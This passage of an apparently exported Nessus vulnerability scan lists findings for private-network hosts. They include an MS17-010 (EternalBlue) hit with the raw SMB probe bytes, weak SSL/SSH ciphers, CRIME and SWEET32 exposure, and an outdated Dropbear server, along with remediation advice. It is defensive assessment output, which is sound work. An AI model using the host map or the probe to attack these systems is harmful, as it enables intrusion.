http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		54615						None		192.168.0.26		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.26		tcp		443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0.
										None								12/1/11		7/9/20

		97833		CVE-2017-0144		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		62563						None		192.168.0.26		tcp		443		SSL Compression Methods Supported		The remote service supports one or more compression methods for SSL
connections.		This script detects which compression methods are supported by the
remote service for SSL connections.		n/a		http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml
https://tools.ietf.org/html/rfc3749
https://tools.ietf.org/html/rfc3943
https://tools.ietf.org/html/rfc5246		
Nessus was able to confirm that the following compression method is 
supported by the target :

  DEFLATE (0x01)
										None								10/16/12		6/12/20

		62565		CVE-2012-4929		2.6		Low		192.168.0.26		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		62565		CVE-2012-4930		2.6		Low		192.168.0.26		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		97833		CVE-2017-0145		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		97833		CVE-2017-0146		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		66334						None		192.168.0.26		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.


										None								7/8/13		10/16/20

		69551						Low		192.168.0.26		tcp		443		SSL Certificate Chain Contains RSA Keys Less Than 2048 bits		The X.509 certificate chain used by this service contains certificates
with RSA keys shorter than 2048 bits.		At least one of the X.509 certificates sent by the remote host has a
key that is shorter than 2048 bits. According to industry standards
set by the Certification Authority/Browser (CA/B) Forum, certificates
issued after January 1, 2014 must be at least 2048 bits.

Some browser SSL implementations may reject keys less than 2048 bits
after January 1, 2014. Additionally, some SSL certificate vendors may
revoke certificates less than 2048 bits before January 1, 2014.

Note that Nessus will not flag root certificates with RSA keys less
than 2048 bits if they were issued prior to December 31, 2010, as the
standard considers them exempt.		Replace the certificate in the chain with the RSA key less than 2048
bits in length with a longer key, and reissue any certificates signed
by the old certificate.		https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf		
The following certificates were part of the certificate chain
sent by the remote host, but contain RSA keys that are considered
to be weak :

|-Subject        : C=CN/CN=TP-Link
|-RSA Key Length : 1024 bits
										Low								9/3/13		11/15/18

		70544						None		192.168.0.26		tcp		443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70657						None		192.168.0.26		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1
  kexguess2@matt.ucc.asn.au

The server supports the following options for server_host_key_algorithms : 

  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.26		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.26		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
										Low								11/22/13		12/14/16

		97833		CVE-2017-0147		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		86420						None		192.168.0.26		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - D8:47:32:3B:B1:7C
										None								10/16/15		5/13/20

		97833		CVE-2017-0148		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		42873		CVE-2016-2183		5		Medium		192.168.0.1		tcp		4567		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		42873		CVE-2016-2183		5		Medium		192.168.0.1		tcp		8890		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		42873		CVE-2016-2183		5		Medium		192.168.0.20		tcp		443		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		42873		CVE-2016-2183		5		Medium		192.168.0.25		tcp		8009		SSL Medium Strength Cipher Suites Supported (SWEET32)		The remote service supports the use of medium strength SSL ciphers.		The remote host supports the use of SSL ciphers that offer medium
strength encryption. Nessus regards medium strength as any encryption
that uses key lengths at least 64 bits and less than 112 bits, or 
else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength
encryption if the attacker is on the same physical network.		Reconfigure the affected application if possible to avoid use of
medium strength ciphers.		https://www.openssl.org/blog/blog/2016/08/24/sweet32/
https://sweet32.info		
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
				7.5						Medium								11/23/09		2/28/19

		110723						None		192.168.0.26		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.26		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10107						None		192.168.0.27		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Sky										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.27		tcp		5000		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
